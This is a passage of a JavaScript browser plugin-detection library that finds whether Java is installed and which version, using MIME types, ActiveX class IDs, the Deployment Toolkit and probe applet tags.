  948.                 v += (j ? 'width="' + s.pluginSize + '" ' : "") + (u ? 'height="' + s.pluginSize + '" ' : "");
  949.                 v += ">";
  950.                 for (k = 0; k < g.length; k = k + 2) {
  951.                     if (/[^\s]/.test(g[k + 1])) {
  952.                         v += f.openTag + 'param name="' + g[k] + '" value="' + g[k + 1] + '" />'
  953.                     }
  954.                 }
  955.                 v += h + f.openTag + "/" + b + ">"
  956.             } else {
  957.                 b = "";
  958.                 v = h
  959.             } if (!o) {
  960.                 s.initDiv(1)
  961.             }
  962.             var n = o || s.getDiv();
  963.             m = {
  964.                 span: null,
  965.                 winLoaded: f.win.loaded,
  966.                 tagName: b,
  967.                 outerHTML: v,
  968.                 DOM: s,
  969.                 time: new Date().getTime(),
  970.                 width: s.width,
  971.                 obj: s.obj,
  972.                 readyState: s.readyState,
  973.                 objectProperty: s.objectProperty
  974.             };
  975.             if (n && n.parentNode) {
  976.                 s.setStyle(p, s.defaultStyle.concat(["display", "inline"]).concat(o ? [] : ["fontSize", (s.pluginSize + 3) + "px", "lineHeight", (s.pluginSize + 3) + "px"]));
  977.                 n.appendChild(p);
  978.                 try {
  979.                     p.innerHTML = v
  980.                 } catch (r) {};
  981.                 m.span = p;
  982.                 m.winLoaded = f.win.loaded
  983.             }
  984.             return m
  985.         }
  986.     },
  987.     file: {
  988.         $: 1,
  989.         any: "fileStorageAny999",
  990.         valid: "fileStorageValid999",
  991.         save: function (d, f, c) {
  992.             var b = this,
  993.                 e = b.$,
  994.                 a;
  995.             if (d && e.isDefined(c)) {
  996.                 if (!d[b.any]) {
  997.                     d[b.any] = []
  998.                 }
  999.                 if (!d[b.valid]) {
  1000.                     d[b.valid] = []
  1001.                 }
  1002.                 d[b.any].push(c);
  1003.                 a = b.split(f, c);
  1004.                 if (a) {
  1005.                     d[b.valid].push(a)
  1006.                 }
  1007.             }
  1008.         },
  1009.         getValidLength: function (a) {
  1010.             return a && a[this.valid] ? a[this.valid].length : 0
  1011.         },
  1012.         getAnyLength: function (a) {
  1013.             return a && a[this.any] ? a[this.any].length : 0
  1014.         },
  1015.         getValid: function (c, a) {
  1016.             var b = this;
  1017.             return c && c[b.valid] ? b.get(c[b.valid], a) : null
  1018.         },
  1019.         getAny: function (c, a) {
  1020.             var b = this;
  1021.             return c && c[b.any] ? b.get(c[b.any], a) : null
  1022.         },
  1023.         get: function (d, a) {
  1024.             var c = d.length - 1,
  1025.                 b = this.$.isNum(a) ? a : c;
  1026.             return (b < 0 || b > c) ? null : d[b]
  1027.         },
  1028.         split: function (g, c) {
  1029.             var b = this,
  1030.                 e = b.$,
  1031.                 f = null,
  1032.                 a, d;
  1033.             g = g ? g.replace(".", "\\.") : "";
  1034.             d = new RegExp("^(.*[^\\/])(" + g + "\\s*)$");
  1035.             if (e.isString(c) && d.test(c)) {
  1036.                 a = (RegExp.$1).split("/");
  1037.                 f = {
  1038.                     name: a[a.length - 1],
  1039.                     ext: RegExp.$2,
  1040.                     full: c
  1041.                 };
  1042.                 a[a.length - 1] = "";
  1043.                 f.path = a.join("/")
  1044.             }
  1045.             return f
  1046.         },
  1047.         z: 0
  1048.     },
  1049.     Plugins: {
  1050.         java: {
  1051.             $: 1,
  1052.             mimeType: ["application/x-java-applet", "application/x-java-vm", "application/x-java-bean"],
  1053.             mimeType_dummy: "application/dummymimejavaapplet",
  1054.             classID: "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93",
  1055.             classID_dummy: "clsid:8AD9C840-044E-11D1-B3E9-BA9876543210",
  1056.             navigator: {
  1057.                 $: 1,
  1058.                 a: (function () {
  1059.                     var b, a = !0;
  1060.                     try {
  1061.                         a = window.navigator.javaEnabled()
  1062.                     } catch (b) {}
  1063.                     return a
  1064.                 })(),
  1065.                 javaEnabled: function () {
  1066.                     return this.a
  1067.                 },
  1068.                 mimeObj: 0,
  1069.                 pluginObj: 0
  1070.             },
  1071.             OTF: null,
  1072.             info: {
  1073.                 $: 1,
  1074.                 Plugin2Status: 0,
  1075.                 setPlugin2Status: function (a) {
  1076.                     if (this.$.isNum(a)) {
  1077.                         this.Plugin2Status = a
  1078.                     }
  1079.                 },
  1080.                 getPlugin2Status: function () {
  1081.                     var c = this,
  1082.                         d = c.$,
  1083.                         b = c.$$,
  1084.                         i = b.navigator,
  1085.                         f, g, k, h, j, a;
  1086.                     if (c.Plugin2Status === 0) {
  1087.                         if (d.isIE && d.OS == 1 && (/Sun|Oracle/i).test(c.getVendor())) {
  1088.                             f = c.isMinJre4Plugin2();
  1089.                             if (f > 0) {
  1090.                                 c.setPlugin2Status(1)
  1091.                             } else {
  1092.                                 if (f < 0) {
  1093.                                     c.setPlugin2Status(-1)
  1094.                                 }
  1095.                             }
  1096.                         } else {
  1097.                             if (!d.isIE && i.pluginObj) {
  1098.                                 k = /Next.*Generation.*Java.*Plug-?in|Java.*Plug-?in\s*2\s/i;
  1099.                                 h = /Classic.*Java.*Plug-in/i;
  1100.                                 j = i.pluginObj.description || "";
  1101.                                 a = i.pluginObj.name || "";
  1102.                                 if (k.test(j) || k.test(a)) {
  1103.                                     c.setPlugin2Status(1)
  1104.                                 } else {
  1105.                                     if (h.test(j) || h.test(a)) {
  1106.                                         c.setPlugin2Status(-1)
  1107.                                     }
  1108.                                 }
  1109.                             }
  1110.                         }
  1111.                     }
  1112.                     return c.Plugin2Status
  1113.                 },
  1114.                 isMinJre4Plugin2: function (a) {
  1115.                     var f = this,
  1116.                         e = f.$,
  1117.                         c = f.$$,
  1118.                         d = "",
  1119.                         g = c.applet.codebase,
  1120.                         b = c.applet.getResult()[0];
  1121.                     if (e.OS == 1) {
  1122.                         d = "1,6,0,10"
  1123.                     } else {
  1124.                         if (e.OS == 2) {
  1125.                             d = "1,6,0,12"
  1126.                         } else {
  1127.                             if (e.OS == 3) {
  1128.                                 d = "1,6,0,10"
  1129.                             } else {
  1130.                                 d = "1,6,0,10"
  1131.                             }
  1132.                         }
  1133.                     } if (!a) {
  1134.                         a = (b && !c.applet.isRange(b) ? b : 0) || c.version || (g.min && d ? (g.isMin(d) > 0 ? d : "0,0,0,0") : 0)
  1135.                     }
  1136.                     a = e.formatNum(e.getNum(a));
  1137.                     return a ? (e.compareNums(a, d) >= 0 ? 1 : -1) : 0
  1138.                 },
  1139.                 BrowserForbidsPlugin2: function () {
  1140.                     var a = this.$;
  1141.                     if (a.OS >= 20) {
  1142.                         return 0
  1143.                     }
  1144.                     if ((a.isIE && a.verIE < 6) || (a.isGecko && a.compareNums(a.verGecko, "1,9,0,0") < 0) || (a.isOpera && a.verOpera && a.verOpera < 10.5)) {
  1145.                         return 1
  1146.                     }
  1147.                     return 0
  1148.                 },
  1149.                 BrowserRequiresPlugin2: function () {
  1150.                     var a = this.$;
  1151.                     if (a.OS >= 20) {
  1152.                         return 0
  1153.                     }
  1154.                     if ((a.isGecko && a.compareNums(a.verGecko, "1,9,2,0") >= 0) || a.isChrome || (a.OS == 1 && a.verOpera && a.verOpera >= 10.6)) {
  1155.                         return 1
  1156.                     }
  1157.                     return 0
  1158.                 },
  1159.                 VENDORS: ["Sun Microsystems Inc.", "Apple Computer, Inc.", "Oracle Corporation"],
  1160.                 OracleMin: "1,7,0,0",
  1161.                 OracleOrSun: function (a) {
  1162.                     var c = this,
  1163.                         b = c.$;
  1164.                     return c.VENDORS[b.compareNums(b.formatNum(a), c.OracleMin) < 0 ? 0 : 2]
  1165.                 },
  1166.                 OracleOrApple: function (a) {
  1167.                     var c = this,
  1168.                         b = c.$;
  1169.                     return c.VENDORS[b.compareNums(b.formatNum(a), c.OracleMin) < 0 ? 1 : 2]
  1170.                 },
  1171.                 getVendor: function () {
  1172.                     var d = this,
  1173.                         c = d.$,
  1174.                         b = d.$$,
  1175.                         f = b.vendor || b.applet.getResult()[1] || "",
  1176.                         e = b.applet.codebase,
  1177.                         a;
  1178.                     if (!f) {
  1179.                         a = b.DTK.version || e.version || (e.min ? (e.isMin(d.OracleMin) > 0 ? d.OracleMin : "0,0,0,0") : 0);
  1180.                         if (a) {
  1181.                             f = d.OracleOrSun(a)
  1182.                         } else {
  1183.                             if (b.version) {
  1184.                                 if (c.OS == 2) {
  1185.                                     f = d.OracleOrApple(b.version)
  1186.                                 } else {
  1187.                                     if ((!c.isIE && c.OS == 1) || c.OS == 3) {
  1188.                                         f = d.OracleOrSun(b.version)
  1189.                                     }
  1190.                                 }
  1191.                             }
  1192.                         }
  1193.                     }
  1194.                     return f
  1195.                 },
  1196.                 isPlugin2InstalledEnabled: function () {
  1197.                     var b = this,
  1198.                         d = b.$,
  1199.                         a = b.$$,
  1200.                         i = -1,
  1201.                         f = a.installed,
  1202.                         g = b.getPlugin2Status(),
  1203.                         h = b.BrowserRequiresPlugin2(),
  1204.                         e = b.BrowserForbidsPlugin2(),
  1205.                         c = b.isMinJre4Plugin2();
  1206.                     if (f !== null && f >= -0.1) {
  1207.                         if (g >= 3) {
  1208.                             i = 1
  1209.                         } else {
  1210.                             if (g <= -3) {} else {
  1211.                                 if (g == 2) {
  1212.                                     i = 1
  1213.                                 } else {
  1214.                                     if (g == -2) {} else {
  1215.                                         if (h && g >= 0 && c > 0) {
  1216.                                             i = 1
  1217.                                         } else {
  1218.                                             if (e && g <= 0 && c < 0) {} else {
  1219.                                                 if (h) {
  1220.                                                     i = 1
  1221.                                                 } else {
  1222.                                                     if (e) {} else {
  1223.                                                         if (g > 0) {
  1224.                                                             i = 1
  1225.                                                         } else {
  1226.                                                             if (g < 0) {} else {
  1227.                                                                 if (c < 0) {} else {
  1228.                                                                     i = 0
  1229.                                                                 }
  1230.                                                             }
  1231.                                                         }
  1232.                                                     }
  1233.                                                 }
  1234.                                             }
  1235.                                         }
  1236.                                     }
  1237.                                 }
  1238.                             }
  1239.                         }
  1240.                     }
  1241.                     return i
  1242.                 },
  1243.                 result: {
  1244.                     $: 1,
  1245.                     getDeploymentToolkitObj: function () {
  1246.                         var a = this,
  1247.                             d = a.$,
  1248.                             b = a.$$,
  1249.                             e = b.info,
  1250.                             c = b.DTK;
  1251.                         c.query(1);
  1252.                         e.updateResult();
  1253.                         return c.status && c.HTML ? c.HTML.obj() : c.status
  1254.                     }
  1255.                 },
  1256.                 updateResult: function () {
  1257.                     var c = this,
  1258.                         e = c.$,
  1259.                         b = c.$$,
  1260.                         a = b.applet,
  1261.                         i, k = b.installed,
  1262.                         h = b.DTK,
  1263.                         g = a.results,
  1264.                         l = c.result;
  1265.                     l.DeployTK_versions = [].concat(e.isArray(h.VERSIONS) ? h.VERSIONS : []);
  1266.                     l.vendor = c.getVendor();
  1267.                     l.isPlugin2 = c.isPlugin2InstalledEnabled();
  1268.                     l.OTF = b.OTF < 3 ? 0 : (b.OTF == 3 ? 1 : 2);
  1269.                     l.JavaAppletObj = null;
  1270.                     for (i = 0; i < g.length; i++) {
  1271.                         if (g[i][0] && a.HTML[i] && a.HTML[i].obj()) {
  1272.                             l.JavaAppletObj = a.HTML[i].obj();
  1273.                             break
  1274.                         }
  1275.                     }
  1276.                     var f = [null, null, null, null];
  1277.                     for (i = 0; i < g.length; i++) {
  1278.                         if (g[i][0]) {
  1279.                             f[i] = 1
  1280.                         } else {
  1281.                             if (g[i][0] !== null) {
  1282.                                 if (b.NOTF) {
  1283.                                     b.NOTF.isAppletActive(i)
  1284.                                 }
  1285.                                 if (a.active[i] > 0) {
  1286.                                     f[i] = 0
  1287.                                 } else {
  1288.                                     if (a.allowed[i] >= 1 && b.OTF != 3 && (a.isDisabled.single(i) || k == -0.2 || k == -1 || a.active[i] < 0 || (i == 3 && (!e.isIE || (/Microsoft/i).test(l.vendor))))) {
  1289.                                         f[i] = -1
  1290.                                     }
  1291.                                 }
  1292.                             } else {
  1293.                                 if (i == 3 && g[0][0]) {
  1294.                                     f[i] = 0
  1295.                                 } else {
  1296.                                     if (a.isDisabled.single(i)) {
  1297.                                         f[i] = -1
  1298.                                     }
  1299.                                 }
  1300.                             }
  1301.                         }
  1302.                     }
  1303.                     l.objectTag = f[1];
  1304.                     l.appletTag = f[2];
  1305.                     l.objectTagActiveX = f[3];
  1306.                     l.name = "";
  1307.                     l.description = "";
  1308.                     var j = 0;
  1309.                     if (!e.isIE) {
  1310.                         if (b.navMime.query().pluginObj) {
  1311.                             j = b.navMime.pluginObj
  1312.                         } else {
  1313.                             if (b.navigator.pluginObj) {
  1314.                                 j = b.navigator.pluginObj
  1315.                             }
  1316.                         } if (j) {
  1317.                             l.name = j.name || "";
  1318.                             l.description = j.description || ""
  1319.                         }
  1320.                     }
  1321.                     l.All_versions = [].concat((l.DeployTK_versions.length ? l.DeployTK_versions : (e.isString(b.version) ? [b.version] : [])));
  1322.                     var d = l.All_versions;
  1323.                     for (i = 0; i < d.length; i++) {
  1324.                         d[i] = e.formatNum(e.getNum(d[i]))
  1325.                     }
  1326.                     return l
  1327.                 }
  1328.             },
  1329.             getInfo: function () {
  1330.                 var a = this.info;
  1331.                 a.updateResult();
  1332.                 return a.result
  1333.             },
  1334.             getVerifyTagsDefault: function () {
  1335.                 return [1, this.applet.isDisabled.VerifyTagsDefault_1() ? 0 : 1, 1]
  1336.             },
  1337.             getVersion: function (j, g, i) {
  1338.                 var b = this,
  1339.                     d = b.$,
  1340.                     e, a = b.applet,
  1341.                     h = b.verify,
  1342.                     k = b.navigator,
  1343.                     f = null,
  1344.                     l = null,
  1345.                     c = null;
  1346.                 if (b.getVersionDone === null) {
  1347.                     b.OTF = 0;
  1348.                     k.mimeObj = d.hasMimeType(b.mimeType);
  1349.                     if (k.mimeObj) {
  1350.                         k.pluginObj = k.mimeObj.enabledPlugin
  1351.                     }
  1352.                     if (h) {
  1353.                         h.begin()
  1354.                     }
  1355.                 }
  1356.                 a.setVerifyTagsArray(i);
  1357.                 d.file.save(b, ".jar", g);
  1358.                 if (b.getVersionDone === 0) {
  1359.                     if (a.should_Insert_Query_Any()) {
  1360.                         e = a.insert_Query_Any(j);
  1361.                         b.setPluginStatus(e[0], e[1], f, j)
  1362.                     }
  1363.                     return
  1364.                 }
  1365.                 if ((!f || d.dbug) && b.navMime.query().version) {
  1366.                     f = b.navMime.version
  1367.                 }
  1368.                 if ((!f || d.dbug) && b.DTK.query(d.dbug).version) {
  1369.                     f = b.DTK.version
  1370.                 }
  1371.                 if ((!f || d.dbug) && b.navPlugin.query().version) {
  1372.                     f = b.navPlugin.version
  1373.                 }
  1374.                 if (b.nonAppletDetectionOk(f)) {
  1375.                     c = f
  1376.                 }
  1377.                 b.setPluginStatus(c, l, f, j);
  1378.                 if (a.should_Insert_Query_Any()) {
  1379.                     e = a.insert_Query_Any(j);
  1380.                     if (e[0]) {
  1381.                         c = e[0];
  1382.                         l = e[1]
  1383.                     }
  1384.                 }
  1385.                 b.setPluginStatus(c, l, f, j)
  1386.             },
  1387.             nonAppletDetectionOk: function (b) {
  1388.                 var d = this,
  1389.                     e = d.$,
  1390.                     a = d.navigator,
  1391.                     c = 1;
  1392.                 if (!b || !a.javaEnabled() || (!e.isIE && !a.mimeObj) || (e.isIE && !e.ActiveXEnabled)) {
  1393.                     c = 0
  1394.                 } else {
  1395.                     if (e.OS >= 20) {} else {
  1396.                         if (d.info && d.info.getPlugin2Status() < 0 && d.info.BrowserRequiresPlugin2()) {
  1397.                             c = 0
  1398.                         }
  1399.                     }
  1400.                 }
  1401.                 return c
  1402.             },
  1403.             setPluginStatus: function (d, i, g, h) {
  1404.                 var b = this,
  1405.                     e = b.$,
  1406.                     f, c = 0,
  1407.                     a = b.applet;
  1408.                 g = g || b.version0;
  1409.                 f = a.isRange(d);
  1410.                 if (f) {
  1411.                     if (a.setRange(f, h) == d) {
  1412.                         c = f
  1413.                     }
  1414.                     d = 0
  1415.                 }
  1416.                 if (b.OTF < 3) {
  1417.                     b.installed = c ? (c > 0 ? 0.7 : -0.1) : (d ? 1 : (g ? -0.2 : -1))
  1418.                 }
  1419.                 if (b.OTF == 2 && b.NOTF && !b.applet.getResult()[0]) {
  1420.                     b.installed = g ? -0.2 : -1
  1421.                 }
  1422.                 if (b.OTF == 3 && b.installed != -0.5 && b.installed != 0.5) {
  1423.                     b.installed = (b.NOTF.isJavaActive(1) == 1 ? 0.5 : -0.5)
  1424.                 }
  1425.                 if (b.OTF == 4 && (b.installed == -0.5 || b.installed == 0.5)) {
  1426.                     if (d) {
  1427.                         b.installed = 1
  1428.                     } else {
  1429.                         if (c) {
  1430.                             b.installed = c > 0 ? 0.7 : -0.1
  1431.                         } else {
  1432.                             if (b.NOTF.isJavaActive(1) == 1) {
  1433.                                 if (g) {
  1434.                                     b.installed = 1;
  1435.                                     d = g
  1436.                                 } else {
  1437.                                     b.installed = 0
  1438.                                 }
  1439.                             } else {
  1440.                                 if (g) {
  1441.                                     b.installed = -0.2
  1442.                                 } else {
  1443.                                     b.installed = -1
  1444.                                 }
  1445.                             }
  1446.                         }
  1447.                     }
  1448.                 }
  1449.                 if (g) {
  1450.                     b.version0 = e.formatNum(e.getNum(g))
  1451.                 }
  1452.                 if (d && !c) {
  1453.                     b.version = e.formatNum(e.getNum(d))
  1454.                 }
  1455.                 if (i && e.isString(i)) {
  1456.                     b.vendor = i
  1457.                 }
  1458.                 if (!b.vendor) {
  1459.                     b.vendor = ""
  1460.                 }
  1461.                 if (b.verify && b.verify.isEnabled()) {
  1462.                     b.getVersionDone = 0
  1463.                 } else {
  1464.                     if (b.getVersionDone != 1) {
  1465.                         if (b.OTF < 2) {
  1466.                             b.getVersionDone = 0
  1467.                         } else {
  1468.                             b.getVersionDone = b.applet.can_Insert_Query_Any() ? 0 : 1
  1469.                         }
  1470.                     }
  1471.                 };
  1472.                 e.codebase.emptyGarbage()
  1473.             },
  1474.             DTK: {
  1475.                 $: 1,
  1476.                 hasRun: 0,
  1477.                 status: null,
  1478.                 VERSIONS: [],
  1479.                 version: "",
  1480.                 HTML: null,
  1481.                 Plugin2Status: null,
  1482.                 classID: ["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA", "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"],
  1483.                 mimeType: ["application/java-deployment-toolkit", "application/npruntime-scriptable-plugin;DeploymentToolkit"],
  1484.                 isDisabled: function (a) {
  1485.                     var b = this,
  1486.                         c = b.$;
  1487.                     if (!a && (!c.DOM.isEnabled.objectTag() || (c.isIE && c.verIE < 6) || (c.isGecko && c.compareNums(c.verGecko, c.formatNum("1.6")) <= 0) || (c.isSafari && c.OS == 1 && (!c.verSafari || c.compareNums(c.verSafari, "5,1,0,0") < 0)) || c.isChrome)) {
  1488.                         return 1
  1489.                     }
  1490.                     return 0
  1491.                 },
  1492.                 query: function (n) {
  1493.                     var l = this,
  1494.                         h = l.$,
  1495.                         f = l.$$,
  1496.                         k, m, i, a = h.DOM.altHTML,
  1497.                         g = {}, b, d = null,
  1498.                         j = null,
  1499.                         c = (l.hasRun || l.isDisabled(n));
  1500.                     l.hasRun = 1;
  1501.                     if (c) {
  1502.                         return l
  1503.                     }
  1504.                     l.status = 0;
  1505.                     if (h.isIE) {
  1506.                         for (m = 0; m < l.classID.length; m++) {
  1507.                             l.HTML = h.DOM.insert("object", ["classid", l.classID[m]], [], a);
  1508.                             d = l.HTML.obj();
  1509.                             if (h.getPROP(d, "jvms")) {
  1510.                                 break
  1511.                             }
  1512.                         }
  1513.                     } else {
  1514.                         i = h.hasMimeType(l.mimeType);
  1515.                         if (i && i.type) {
  1516.                             l.HTML = h.DOM.insert("object", ["type", i.type], [], a);
  1517.                             d = l.HTML.obj()
  1518.                         }
  1519.                     } if (d) {
  1520.                         try {
  1521.                             if (Math.abs(f.info.getPlugin2Status()) < 2) {
  1522.                                 l.Plugin2Status = d.isPlugin2()
  1523.                             }
  1524.                         } catch (k) {}
  1525.                         if (l.Plugin2Status !== null) {
  1526.                             if (l.Plugin2Status) {
  1527.                                 f.info.setPlugin2Status(2)
  1528.                             } else {
  1529.                                 if (h.isIE || f.info.getPlugin2Status() <= 0) {
  1530.                                     f.info.setPlugin2Status(-2)
  1531.                                 }
  1532.                             }
  1533.                         }
  1534.                         try {
  1535.                             b = h.getPROP(d, "jvms");
  1536.                             if (b) {
  1537.                                 j = b.getLength();
  1538.                                 if (h.isNum(j)) {
  1539.                                     l.status = j > 0 ? 1 : -1;
  1540.                                     for (m = 0; m < j; m++) {
  1541.                                         i = h.getNum(b.get(j - 1 - m).version);
  1542.                                         if (i) {
  1543.                                             l.VERSIONS.push(i);
  1544.                                             g["a" + h.formatNum(i)] = 1
  1545.                                         }
  1546.                                     }
  1547.                                 }
  1548.                             }
  1549.                         } catch (k) {}
  1550.                     }
  1551.                     i = 0;
  1552.                     for (m in g) {
  1553.                         i++
  1554.                     }
  1555.                     if (i && i !== l.VERSIONS.length) {
  1556.                         l.VERSIONS = []
  1557.                     }
  1558.                     if (l.VERSIONS.length) {
  1559.                         l.version = h.formatNum(l.VERSIONS[0])
  1560.                     };
  1561.                     return l
  1562.                 }
  1563.             },
  1564.             navMime: {
  1565.                 $: 1,
  1566.                 hasRun: 0,
  1567.                 mimetype: "",
  1568.                 version: "",
  1569.                 length: 0,
  1570.                 mimeObj: 0,
  1571.                 pluginObj: 0,
  1572.                 isDisabled: function () {
  1573.                     var b = this,
  1574.                         d = b.$,
  1575.                         c = b.$$,
  1576.                         a = c.navigator;
  1577.                     if (d.isIE || !a.mimeObj || !a.pluginObj) {
  1578.                         return 1
  1579.                     }
  1580.                     return 0
  1581.                 },
  1582.                 query: function () {
  1583.                     var i = this,
  1584.                         f = i.$,
  1585.                         a = i.$$,
  1586.                         b = (i.hasRun || i.isDisabled());
  1587.                     i.hasRun = 1;
  1588.                     if (b) {
  1589.                         return i
  1590.                     };
  1591.                     var n = /^\s*application\/x-java-applet;jpi-version\s*=\s*(\d.*)$/i,
  1592.                         g, l, j, d = "",
  1593.                         h = "a",
  1594.                         o, m, k = {}, c = f.formatNum("0");
  1595.                     for (l = 0; l < navigator.mimeTypes.length; l++) {
  1596.                         o = navigator.mimeTypes[l];
  1597.                         m = o ? o.enabledPlugin : 0;
  1598.                         g = o && n.test(o.type || d) ? f.formatNum(f.getNum(RegExp.$1)) : 0;
  1599.                         if (g && m && (m.description || m.name)) {
  1600.                             if (!k[h + g]) {
  1601.                                 i.length++
  1602.                             }
  1603.                             k[h + g] = o.type;
  1604.                             if (f.compareNums(g, c) > 0) {
  1605.                                 c = g
  1606.                             }
  1607.                         }
  1608.                     }
  1609.                     g = k[h + c];
  1610.                     if (g) {
  1611.                         o = f.hasMimeType(g);
  1612.                         i.mimeObj = o;
  1613.                         i.pluginObj = o ? o.enabledPlugin : 0;
  1614.                         i.mimetype = g;
  1615.                         i.version = c
  1616.                     };
  1617.                     return i
  1618.                 }
  1619.             },
  1620.             navPlugin: {
  1621.                 $: 1,
  1622.                 hasRun: 0,
  1623.                 version: "",
  1624.                 isDisabled: function () {
  1625.                     var d = this,
  1626.                         c = d.$,
  1627.                         b = d.$$,
  1628.                         a = b.navigator;
  1629.                     if (c.isIE || !a.mimeObj || !a.pluginObj) {
  1630.                         return 1
  1631.                     }
  1632.                     return 0
  1633.                 },
  1634.                 query: function () {
  1635.                     var m = this,
  1636.                         e = m.$,
  1637.                         c = m.$$,
  1638.                         h = c.navigator,
  1639.                         j, l, k, g, d, a, i, f = 0,
  1640.                         b = (m.hasRun || m.isDisabled());
  1641.                     m.hasRun = 1;
  1642.                     if (b) {
  1643.                         return m
  1644.                     };
  1645.                     a = h.pluginObj.name || "";
  1646.                     i = h.pluginObj.description || "";
  1647.                     if (!f || e.dbug) {
  1648.                         g = /Java.*TM.*Platform[^\d]*(\d+)(?:[\.,_](\d*))?(?:\s*[Update]+\s*(\d*))?/i;
  1649.                         if ((g.test(a) || g.test(i)) && parseInt(RegExp.$1, 10) >= 5) {
  1650.                             f = "1," + RegExp.$1 + "," + (RegExp.$2 ? RegExp.$2 : "0") + "," + (RegExp.$3 ? RegExp.$3 : "0")
  1651.                         }
  1652.                     }
  1653.                     if (!f || e.dbug) {
  1654.                         g = /Java[^\d]*Plug-in/i;
  1655.                         l = g.test(i) ? e.formatNum(e.getNum(i)) : 0;
  1656.                         k = g.test(a) ? e.formatNum(e.getNum(a)) : 0;
  1657.                         if (l && (e.compareNums(l, e.formatNum("1,3")) < 0 || e.compareNums(l, e.formatNum("2")) >= 0)) {
  1658.                             l = 0
  1659.                         }
  1660.                         if (k && (e.compareNums(k, e.formatNum("1,3")) < 0 || e.compareNums(k, e.formatNum("2")) >= 0)) {
  1661.                             k = 0
  1662.                         }
  1663.                         d = l && k ? (e.compareNums(l, k) > 0 ? l : k) : (l || k);
  1664.                         if (d) {
  1665.                             f = d
  1666.                         }
  1667.                     }
  1668.                     if (!f && e.isSafari && e.OS == 2) {
  1669.                         j = e.findNavPlugin("Java.*\\d.*Plug-in.*Cocoa", 0);
  1670.                         if (j) {
  1671.                             l = e.getNum(j.description);
  1672.                             if (l) {
  1673.                                 f = l
  1674.                             }
  1675.                         }
  1676.                     };
  1677.                     if (f) {
  1678.                         m.version = e.formatNum(f)
  1679.                     };
  1680.                     return m
  1681.                 }
  1682.             },
  1683.             applet: {
  1684.                 $: 1,
  1685.                 codebase: {
  1686.                     $: 1,
  1687.                     isMin: function (a) {
  1688.                         return this.$.codebase.isMin(this, a)
  1689.                     },
  1690.                     search: function () {
  1691.                         return this.$.codebase.search(this)
  1692.                     },
  1693.                     ParamTags: '<param name="code" value="A19999.class" /><param name="codebase_lookup" value="false" />',
  1694.                     DIGITMAX: [
  1695.                         [16, 64],
  1696.                         [6, 0, 512], 0, [1, 5, 2, 256], 0, [1, 4, 1, 1],
  1697.                         [1, 4, 0, 64],
  1698.                         [1, 3, 2, 32]
  1699.                     ],
  1700.                     DIGITMIN: [1, 0, 0, 0],
  1701.                     Upper: ["999", "10", "5,0,20", "1,5,0,20", "1,4,1,20", "1,4,1,2", "1,4,1", "1,4"],
  1702.                     Lower: ["10", "5,0,20", "1,5,0,20", "1,4,1,20", "1,4,1,2", "1,4,1", "1,4", "0"],
  1703.                     convert: [
  1704.                         function (b, a) {
  1705.                             return a ? [parseInt(b[0], 10) > 1 ? "99" : parseInt(b[1], 10) + 3 + "", b[3], "0", "0"] : ["1", parseInt(b[0], 10) - 3 + "", "0", b[1]]
  1706.                         },
  1707.                         function (b, a) {
  1708.                             return a ? [b[1], b[2], b[3] + "0", "0"] : ["1", b[0], b[1], b[2].substring(0, b[2].length - 1 || 1)]
  1709.                         },
  1710.                         0,
  1711.                         function (b, a) {
  1712.                             return a ? [b[0], b[1], b[2], b[3] + "0"] : [b[0], b[1], b[2], b[3].substring(0, b[3].length - 1 || 1)]
  1713.                         },
  1714.                         0, 1,
  1715.                         function (b, a) {
  1716.                             return a ? [b[0], b[1], b[2], b[3] + "0"] : [b[0], b[1], b[2], b[3].substring(0, b[3].length - 1 || 1)]
  1717.                         },
  1718.                         1
  1719.                     ]
  1720.                 },
  1721.                 results: [
  1722.                     [null, null],
  1723.                     [null, null],
  1724.                     [null, null],
  1725.                     [null, null]
  1726.                 ],
  1727.                 getResult: function () {
  1728.                     var b = this,
  1729.                         d = b.results,
  1730.                         a, c = [];
  1731.                     for (a = d.length - 1; a >= 0; a--) {
  1732.                         c = d[a];
  1733.                         if (c[0]) {
  1734.                             break
  1735.                         }
  1736.                     }
  1737.                     c = [].concat(c);
  1738.                     return c
  1739.                 },
  1740.                 DummySpanTagHTML: 0,
  1741.                 HTML: [0, 0, 0, 0],
  1742.                 active: [0, 0, 0, 0],
  1743.                 DummyObjTagHTML: 0,
  1744.                 DummyObjTagHTML2: 0,
  1745.                 allowed: [1, 1, 1, 1],
  1746.                 VerifyTagsHas: function (c) {
  1747.                     var d = this,
  1748.                         b;
  1749.                     for (b = 0; b < d.allowed.length; b++) {
  1750.                         if (d.allowed[b] === c) {
  1751.                             return 1
  1752.                         }
  1753.                     }
  1754.                     return 0
  1755.                 },
  1756.                 saveAsVerifyTagsArray: function (c) {
  1757.                     var b = this,
  1758.                         d = b.$,
  1759.                         a;
  1760.                     if (d.isArray(c)) {
  1761.                         for (a = 1; a < b.allowed.length; a++) {
  1762.                             if (c.length > a - 1 && d.isNum(c[a - 1])) {
  1763.                                 if (c[a - 1] < 0) {
  1764.                                     c[a - 1] = 0
  1765.                                 }
  1766.                                 if (c[a - 1] > 3) {
  1767.                                     c[a - 1] = 3
  1768.                                 }
  1769.                                 b.allowed[a] = c[a - 1]
  1770.                             }
  1771.                         }
  1772.                         b.allowed[0] = b.allowed[3]
  1773.                     }
  1774.                 },
  1775.                 setVerifyTagsArray: function (d) {
  1776.                     var b = this,
  1777.                         c = b.$,
  1778.                         a = b.$$;
  1779.                     if (a.getVersionDone === null) {
  1780.                         b.saveAsVerifyTagsArray(a.getVerifyTagsDefault())
  1781.                     }
  1782.                     if (c.dbug) {
  1783.                         b.saveAsVerifyTagsArray([3, 3, 3])
  1784.                     } else {
  1785.                         if (d) {
  1786.                             b.saveAsVerifyTagsArray(d)
  1787.                         }
  1788.                     }
  1789.                 },
  1790.                 isDisabled: {
  1791.                     $: 1,
  1792.                     single: function (d) {
  1793.                         var a = this,
  1794.                             c = a.$,
  1795.                             b = a.$$;
  1796.                         if (d == 0) {
  1797.                             return c.codebase.isDisabled()
  1798.                         }
  1799.                         if ((d == 3 && !c.isIE) || a.all()) {
  1800.                             return 1
  1801.                         }
  1802.                         if (d == 1 || d == 3) {
  1803.                             return !c.DOM.isEnabled.objectTag()
  1804.                         }
  1805.                         if (d == 2) {
  1806.                             return a.AppletTag()
  1807.                         }
  1808.                     },
  1809.                     aA_: null,
  1810.                     all: function () {
  1811.                         var c = this,
  1812.                             e = c.$,
  1813.                             d = c.$$,
  1814.                             b = d.navigator,
  1815.                             a = 0;
